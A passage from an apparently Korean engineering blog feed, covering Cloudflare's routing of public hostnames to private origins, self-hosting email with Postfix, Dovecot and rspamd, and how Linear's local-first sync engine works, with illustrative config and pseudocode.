개인적으론 OrbStack 머신 기능을 잘 쓰던 사람이라면 컨셉 이해가 빠를 거고, "Apple 공식 + 오픈소스"라는 점에서 장기적으로 지켜볼 가치가 충분하다고 본다. 다만 지금 시점에선 메인 개발 환경을 통째로 갈아엎기보다, 별도 머신 하나 만들어서 멀티 배포판 테스트나 systemd 서비스 검증 용도로 먼저 굴려보길 권한다.

참고 자료

• apple/container — container-machine.md (공식 문서)
• apple/container GitHub 저장소 (상위 문서·네트워킹 문서 확인용)

오늘 올라온 목록을 쭉 보면 AI 얘기가 절반이지만, 인프라 굴리는 입장에서 진짜 손에 잡히는 건 Cloudflare의 Application Services for Private Origins 발표다. "공인 IP 없이 사내 사설망 애플리케이션을 외부 트래픽으로 연결한다"는 한 줄이 꽤 묵직해서, 이걸 실무 맥락에서 풀어보려 한다. (참고: 현재 closed beta 단계라 GA 이후 동작이 달라질 수 있으니 도입 전 공식 문서 재확인 필요.)

왜 지금 이게 화제인가

사내에서 돌리는 내부 API, 어드민 페이지, 레거시 백오피스를 외부(혹은 다른 리전, 파트너사)에 열어줘야 하는 상황은 생각보다 자주 온다. 그동안 우리가 쓰던 방법은 대략 이랬다.

• 퍼블릭 IP 붙이고 NLB/ALB 앞에 두고 WAF 거는 방식 — 노출면이 늘고 방화벽 관리가 빡세진다.
• VPN으로 통째로 묶는 방식 — 클라이언트 배포·인증서 갱신·MTU 이슈가 끝없이 따라온다.
• 커넥터 데몬(예: cloudflared) 깔아서 아웃바운드 터널로 빼는 방식 — 서버마다 에이전트 깔아야 하고 버전 관리가 일이다.

이번 발표의 핵심은 "이미 깔려 있는 IPsec / GRE / CNI / Cloudflare Mesh 경로를 그대로 재활용해서, 공인 hostname을 사설 IP origin으로 라우팅한다"는 점이다. 즉 별도 커넥터 소프트웨어를 origin마다 새로 깔 필요가 없다는 게 차별점이다. 이미 Cloudflare로 사내망을 끌어다 쓰고 있는(Magic WAN 등) 조직이라면 추가 설치 없이 hostname만 매핑하면 된다는 그림이다.

동작 원리: 비유로 풀면

기존 Cloudflare Tunnel을 "건물마다 직원이 밖에서 안으로 케이블을 끌어다 꽂는 방식"이라고 하면, 이번 건 "이미 회사와 통신사 사이에 깔려 있는 전용 회선(IPsec/GRE)에 주소록만 한 줄 추가하는 방식"에 가깝다. 새 케이블(커넥터)을 까는 게 아니라 라우팅 테이블에 매핑을 얹는 개념이다.

흐름을 단순화하면 이렇다.

외부 사용자
   │  HTTPS (app.example.com)
   ▼
Cloudflare Edge  ── WAF / Access(인증) ──┐
   │                                     │
   │  기존 IPsec/GRE/CNI 터널 재사용      │
   ▼                                     │
사설 origin (10.0.x.x:8080)  ◄───────────┘

여기서 중요한 건 origin이 사설 IP인 채로 끝난다는 거다. 인터넷에서 직접 도달 가능한 경로가 없고, 오직 Cloudflare 엣지를 통한 트래픽만 터널을 타고 들어온다. 그래서 origin 쪽에 인바운드 포트를 열 필요가 없고, 노출면이 엣지로 통일된다.

개념상 매핑은 "이 hostname → 이 사설 IP:port, 이 경로(터널)로" 형태가 될 것으로 보인다. 정확한 설정 스키마(대시보드/API/Terraform)는 beta 문서 기준으로 봐야 한다. Terraform 프로바이더로 관리한다면 대략 이런 그림을 예상할 수 있는데, 실제 리소스 이름은 GA 시점에 확인이 필요하다.

# 예시 — 실제 리소스/속성명은 공식 문서 확인 필요
# 의사 구성: hostname을 사설 origin에 매핑
resource "cloudflare_xxx_route" "internal_admin" {
  zone_id  = var.zone_id
  hostname = "admin.internal.example.com"
  origin   = "10.20.0.15:8080"
  path     = "ipsec-tunnel-seoul"   # 기존 터널 경로 재사용
}

실무 관점: 도입 전에 따져볼 것들

좋아 보이지만 공짜 점심은 아니다. 실제로 굴린다고 생각하면 걸리는 지점이 몇 개 있다.

1. 락인(lock-in)을 각오해야 한다

이건 Cloudflare 생태계에 깊게 들어가는 결정이다. 이미 Magic WAN, Access, WAF를 쓰고 있다면 자연스러운 확장이지만, 단순히 "사내 서버 하나 열고 싶다" 수준이라면 오버킬이다. 그 경우는 그냥 Cloudflare Tunnel(cloudflared) 한 개 띄우는 게 훨씬 가볍고 빠르다.

2. 트래픽이 전부 엣지를 경유한다

모든 요청이 Cloudflare 엣지를 한 번 찍고 사설 origin으로 들어온다. 한국 리전 사용자가 한국 내부 서버에 붙는데 엣지를 경유하면 RTT가 늘 수 있다. 지연에 민감한 내부 API라면 실측이 필수다. "사내망인데 왜 느려졌지?" 하는 흔한 함정이 여기서 나온다.

3. 인증 레이어를 빼먹지 마라

hostname을 외부에 여는 순간, 라우팅만 했다고 끝이 아니다. 반드시 Cloudflare Access(또는 동등한 인증)를 앞단에 걸어야 한다. "사설 IP라 안전하다"는 착각이 가장 위험하다. 라우팅 매핑을 만든 그 순간부터 그 hostname은 공개 표면이 된다. 인증 미들웨어 없이 어드민 페이지를 노출했다가 사고 나는 패턴, 실무에서 정말 자주 본다.

4. 경로 중복과 IP 충돌

여러 터널(IPsec/GRE)을 동시에 운영하면서 사설 대역이 겹치면 라우팅이 꼬인다. 특히 인수합병이나 멀티 VPC 환경에서 10.0.0.0/8을 양쪽에서 막 쓰던 곳이라면 origin 매핑 시 어느 경로로 나갈지 명확히 잡아줘야 한다. 이건 Cloudflare 문제가 아니라 우리 네트워크 설계 숙제다.

대안 정리

• 서버 1~2개, 빠르게: Cloudflare Tunnel(cloudflared) 또는 Tailscale Funnel.
• 이미 Magic WAN/IPsec 운영 중, 커넥터 추가 설치가 싫다: 이번 Private Origins 라우팅이 맞다.
• 벤더 종속이 싫다: 자체 리버스 프록시(Nginx/Envoy) + WireGuard 조합으로 비슷하게 만들 수 있지만 운영 부담은 우리가 다 진다.

정리

한 줄 요약: 이미 Cloudflare로 사내망을 끌어다 쓰는 조직이, 공인 IP나 커넥터 추가 설치 없이 hostname만 매핑해서 사설 origin을 외부에 안전하게 여는 기능이다.

누가 언제 써야 하나 — Magic WAN/IPsec/GRE를 이미 운영 중이고, origin마다 cloudflared 깔고 버전 관리하는 게 지긋지긋한 팀. 반대로 서버 한두 대 가볍게 열 거라면 굳이 이쪽으로 갈 필요 없다. 그리고 무엇보다, closed beta라는 점과 엣지 경유로 인한 지연·인증 레이어 분리는 꼭 실측·검증하고 들어가자.

참고 자료

• Cloudflare Blog — Route public traffic to private applications
• Cloudflare Docs — Magic WAN (IPsec/GRE 연동, 공식 문서 확인 권장)
• Cloudflare Docs — Tunnel/Connect networks 비교

사진: Microsoft Copilot / Unsplash

오늘 올라온 글 중에 1997년부터 운영된 Recoil 메일 인프라를 전용 /24 IPv4 블록 위에서 Postfix, Dovecot, rspamd, Roundcube로 다시 짜는 이야기가 있었다. 솔직히 "메일 서버 직접 운영"은 인프라 엔지니어라면 한 번쯤 호기심에 손댔다가 데인 영역이다. 나도 그랬다. 이 글은 그 데임의 구조를 실무 관점에서 풀어본다.

왜 지금, 무슨 문제를 푸는가

요즘은 메일 보내고 싶으면 그냥 SES, SendGrid, Resend 쓰면 끝이다. 그런데도 굳이 자체 호스팅을 하는 이유는 두 가지다. 하나는 데이터 주권 — 내 메일 전문이 남의 서버를 거치지 않는다. 다른 하나는 학습 가치다. SMTP, IMAP, 스팸 필터링, 그리고 무엇보다 IP 평판(reputation)이 어떻게 돌아가는지 몸으로 알게 된다.

핵심은 원문 제목의 "어려운 방식(the hard way)"이라는 표현이다. 메일 수신/발신 자체는 데몬 몇 개 띄우면 된다. 진짜 어려운 건 다른 메일 서버들이 내 메일을 스팸 처리하지 않게 만드는 것이고, 이게 9할이다. 자체 라우팅 가능한 /24 블록에서 시작한다는 건, 임대 VPS의 오염된 IP 평판을 피하고 IP 통제권을 직접 쥐겠다는 의미로 보인다.

구조와 동작 원리

전형적인 자체 호스팅 스택은 역할이 깔끔하게 나뉜다.

• Postfix: SMTP. 메일을 받고(MX) 보내는(relay) 본체.
• Dovecot: IMAP/POP3. 사용자가 메일함을 읽는 부분. SASL 인증도 여기서 위임받는다.
• rspamd: 스팸 필터링 + DKIM 서명. 들어오는 메일 점수 매기고 나가는 메일에 서명한다.
• Roundcube: 웹메일 UI.

메일 한 통이 들어올 때 흐름을 비유하자면, Postfix는 건물 1층 로비(외부 연결을 받는 곳), rspamd는 보안 검색대(스팸 점수 채점), Dovecot은 각 호실 우편함(최종 저장과 조회)이다.

발신 쪽이 더 까다롭다. 받는 서버는 내 메일이 진짜인지 세 가지로 검증한다.

# SPF: "이 IP가 우리 도메인 메일을 보내도 되는가"
example.com.  IN TXT "v=spf1 ip4:203.0.113.10 -all"

# DKIM: rspamd가 본문에 서명한 공개키
default._domainkey.example.com. IN TXT "v=DKIM1; k=rsa; p=MIGfMA0..."

# DMARC: SPF/DKIM 실패 시 정책
_dmarc.example.com. IN TXT "v=DMARC1; p=reject; rua=mailto:dmarc@example.com"

여기에 더해 PTR(역방향 DNS)이 발신 IP에서 도메인으로 정확히 풀려야 한다. 이게 안 맞으면 Gmail 등이 바로 거부하거나 스팸함으로 보낸다. /24 블록을 직접 갖는 이유 중 하나가 이 PTR을 내 마음대로 설정할 수 있다는 점이다 — 일반 VPS는 PTR 설정을 못 하거나 제한적인 경우가 많다.

실무 관점: 트레이드오프와 함정

몇 년간 이쪽을 들여다본 입장에서 현실적인 얘기를 하면.

1. 발신은 평판 게임이다

가장 흔한 실수가 "설정 다 맞췄는데 왜 Gmail이 스팸 처리하지?"다. SPF/DKIM/DMARC 전부 통과해도 IP에 발신 이력이 없으면 신뢰가 0이다. 새 IP는 워밍업(소량부터 점진적 증량)이 필요하고, 25번 포트가 막힌 IP 대역이면 시작조차 못 한다. AWS, 많은 클라우드가 25번 아웃바운드를 기본 차단한다. 자체 /24 블록 + 라우팅 통제는 이 문제를 정면 돌파하려는 선택으로 보인다.

2. 블랙리스트는 한순간

Spamhaus 같은 RBL에 한 번 올라가면 회복이 느리고 피곤하다. 사용자 계정 하나가 털려서 스팸 송신지로 쓰이면 IP 전체 평판이 날아간다. 그래서 발신 레이트 리밋, 인증 강제, fail2ban 연동이 사실상 필수다.

3. 운영 부담이 진짜 부담이다

메일은 24/7 살아있어야 하고, 다운되면 송신측이 재시도하다 결국 바운스시킨다. TLS 인증서 갱신, rspamd 룰 업데이트, 디스크 풀로 인한 메일 유실 등 신경 쓸 게 많다. 이건 "주말 프로젝트"의 탈을 쓴 장기 운영 책임이다.

대안 정리

현실적으로 회사 업무 메일은 그냥 Google Workspace나 M365 쓰는 게 맞다. 자체 호스팅은 명확한 이유(주권, 학습, 특수 요건)가 있을 때만 손대자.

정리

한 줄 요약: 메일 자체 호스팅에서 데몬 설정은 쉽고, 발신 IP 평판과 24/7 운영이 어렵다. SMTP/스팸/평판의 작동 원리를 몸으로 배우고 싶거나 IP·라우팅 통제가 꼭 필요한 사람에게는 훌륭한 프로젝트다. 반대로 그냥 메일이 잘 가기만 하면 되는 상황이라면 관리형 서비스가 시간을 아껴준다. SPF/DKIM/DMARC/PTR은 자체 호스팅이든 발신 전용이든 어차피 알아야 하니, 거기서부터 익히는 걸 추천한다.

참고 자료

• 자체 라우팅 가능한 IPv4 블록부터 시작하는 어려운 방식의 이메일 자체 호스팅 (GeekNews)
• Postfix 공식 문서
• Dovecot 공식 문서
• rspamd 공식 문서
• RFC 7489 — DMARC

사진: Microsoft Copilot / Unsplash

왜 지금 이 주제인가

Linear 써본 사람은 다들 한 번쯤 "어, 이거 왜 이렇게 빨라?"라고 느낀다. 이슈를 만들고 상태를 바꾸고 필터를 거는데 로딩 스피너가 거의 안 보인다. 네트워크 탭을 열어보면 클릭할 때마다 API를 때리는 게 아니라, UI가 먼저 반응하고 서버 통신은 뒤에서 조용히 처리된다.

이게 단순한 "캐싱 잘했네" 수준이 아니다. Linear는 로컬 우선(local-first) 동기화 엔진이라는 아키텍처를 정면으로 채택했다. 클라이언트가 데이터의 1차 소유자처럼 동작하고, 서버는 동기화 허브 역할을 한다. 요즘 사내 툴이나 대시보드 만들 때 "왜 이렇게 굼뜨지"를 고민하는 사람이라면, Linear가 택한 트레이드오프를 이해해 두는 게 큰 도움이 된다.

핵심은 이거다. 대부분의 웹앱이 느린 이유는 네트워크가 사용자 클릭과 화면 갱신 사이에 끼어 있기 때문이다. Linear는 그 네트워크를 임계 경로(critical path)에서 빼버렸다.

핵심: 동작 원리

전통적인 SPA의 데이터 흐름은 대충 이렇다.

클릭 → API 요청 → DB 쓰기 → 응답 → 상태 갱신 → 리렌더
       └────────── 이 구간 동안 사용자는 기다림 ──────────┘

Linear 같은 로컬 우선 모델은 순서가 뒤집힌다.

클릭 → 로컬 스토어 즉시 갱신 → 리렌더 (여기서 사용자 체감 끝)
                              └→ 백그라운드로 서버에 변경분 전송
                                 └→ 서버가 다른 클라이언트에 브로드캐스트

1) 로컬에 전체 모델을 들고 있는다

Linear는 사용자가 접근 가능한 이슈/프로젝트/팀 데이터를 브라우저 로컬(IndexedDB로 보인다)에 적재해 둔다. 그래서 필터링, 정렬, 검색 같은 작업이 서버 왕복 없이 메모리/로컬에서 처리된다. 필터를 바꿀 때 즉각 반응하는 이유가 이거다. 서버에 "이 조건으로 다시 쿼리해줘"라고 묻지 않는다.

2) 옵티미스틱 업데이트 + 동기화 큐

상태를 바꾸면 로컬 모델을 먼저 고치고 화면을 갱신한다. 그 변경(mutation)은 동기화 큐에 쌓여 백그라운드로 전송된다. 네트워크가 끊겨도 큐에 남아 있다가 복구되면 흘려보낸다. 오프라인에서도 작업이 되는 이유다.

// 개념적 의사코드 (실제 구현 아님)
function updateIssueStatus(issueId, status) {
  localStore.apply({ issueId, status });   // 1. 즉시 반영
  rerender();                              // 2. UI 갱신
  syncQueue.push({ type: 'update', issueId, status }); // 3. 큐잉
}
// 동기화 워커가 큐를 비우며 서버로 전송하고,
// 서버 ACK / 충돌 응답을 받아 로컬을 보정

3) 델타 동기화와 실시간 전파

전체를 다시 받지 않고 마지막 동기화 시점 이후의 변경분(델타)만 주고받는다. 다른 사람이 이슈를 바꾸면 WebSocket으로 변경이 흘러와 내 로컬 모델에 머지된다. 그래서 협업 중에도 화면이 자연스럽게 갱신된다.

4) 충돌 처리

여러 클라이언트가 같은 필드를 동시에 고치면 충돌이 난다. Linear는 이 부분을 자체 동기화 엔진으로 다룬다고 알려져 있는데, 구체적으로 LWW(Last-Write-Wins)인지 CRDT 기반인지 필드 단위 머지인지는 공개 정보가 제한적이라 공식 자료 확인이 필요하다. 다만 "필드 단위로 잘게 쪼개 머지하면 충돌 범위가 줄어든다"는 일반 원리는 분명하다.

실무 관점: 도입할 때 진짜 따져야 할 것들

여기가 핵심이다. 로컬 우선이 멋있어 보인다고 아무 프로젝트에 끌어오면 망한다. 내가 사내 툴 몇 개 다뤄보며 느낀 트레이드오프를 정리한다.

이게 잘 맞는 경우

• 데이터 총량이 클라이언트에 들어갈 수 있을 때. Linear는 "한 사람이 접근하는 이슈 수"가 수만~수십만 단위라 로컬에 올릴 수 있다. 수억 row를 다루는 분석 대시보드엔 이 모델이 안 맞는다.
• 같은 데이터를 반복해서 읽고 쓰는 워크플로. 이슈 트래커, 노트앱, 칸반처럼 사용자가 한 데이터셋을 계속 만지는 도구.
• 오프라인/저지연이 진짜 가치인 경우. 그냥 "빠르면 좋지" 정도면 React Query 캐싱으로 충분할 때가 많다.

흔한 함정

• 권한/필터링을 클라이언트로 미루는 실수. 로컬에 데이터를 올린다고 권한 검사를 클라이언트에서만 하면 보안 사고다. 서버는 여전히 "이 유저가 받을 수 있는 데이터만" 내려줘야 한다. 로컬 우선은 UX 최적화지, 보안 모델이 아니다.
• 초기 동기화 비용. 첫 로그인 때 데이터를 다 끌어오는 부트스트랩 구간이 무겁다. 이걸 백그라운드 점진 로딩으로 어떻게 자르냐가 체감 품질을 좌우한다.
• 스키마 마이그레이션 지옥. 서버 DB만 바꾸면 끝이 아니다. 사용자 브라우저마다 옛 버전의 로컬 스키마가 살아 있다. 클라이언트 마이그레이션 전략(버전 태깅, 강제 리싱크)을 처음부터 설계 안 하면 나중에 크게 운다.
• 충돌 처리를 직접 짜는 비용. 옵티미스틱 업데이트 롤백, 서버 거부 시 UI 복구, 머지 로직… 이거 제대로 만들려면 사람과 시간이 든다. "빨라 보이려고" 시작했다가 동기화 엔진 자체가 제품이 되어버린다.

대안 — 풀 셀프빌드 말고도 길은 있다

• 가벼운 옵티미스틱 캐싱: TanStack Query(React Query)의 optimistic update + 무효화. 대부분의 CRUD 앱은 이 정도로 충분히 빠르다. 동기화 엔진 직접 안 짜도 된다.
• 로컬 우선 프레임워크: ElectricSQL, Replicache, Zero, PowerSync, RxDB 같은 솔루션이 동기화/충돌 처리를 대신 해준다. Linear 흉내 내고 싶으면 바닥부터 짜지 말고 이쪽을 먼저 검토하는 게 현실적이다.
• CRDT 기반: 협업 편집(텍스트, 동시 수정)이 핵심이면 Yjs/Automerge. 단, 이슈 트래커 같은 구조화 데이터엔 과할 수 있다.

한 줄 조언: "Linear처럼 만들자"가 아니라 "우리 데이터 모델이 로컬에 들어가나? 충돌 빈도가 높나?"부터 답하라. 그 답이 애매하면 동기화 엔진은 오버엔지니어링이다.

정리

Linear가 빠른 이유는 마법이 아니라 네트워크를 사용자 클릭의 임계 경로에서 제거했기 때문이다. 로컬에 데이터를 들고, 옵티미스틱하게 먼저 그리고, 동기화는 백그라운드로 밀어버리는 구조다.

• 써야 할 사람: 사용자가 한정된 데이터셋을 반복적으로 만지는 협업 툴(이슈 트래커, 노트, 칸반)을 만드는 팀.
• 피해야 할 경우: 데이터가 로컬에 안 들어갈 만큼 크거나, 단순 CRUD라 React Query 캐싱으로 충분한 경우.
• 현실적 시작: 바닥부터 짜지 말고 Replicache·ElectricSQL·Zero 같은 기성 동기화 엔진부터 검토. 충돌 처리와 스키마 마이그레이션 비용을 처음부터 견적에 넣어라.

참고 자료

• How's Linear so fast? A technical breakdown (performance.dev)
• Linear 공식 블로그 — Scaling the Linear Sync Engine
• Local-First Web Development 자료 모음
• Ink & Switch — Local-first software (개념 원전)
• TanStack Query — Optimistic Updates 문서
• ElectricSQL · Replicache · Zero

주: Linear 내부 구현의 충돌 처리·저장소 세부는 공개 정보가 제한적이므로, 위 공식 블로그와 발표 자료로 교차 확인하길 권한다.

사진: Microsoft Copilot / Unsplash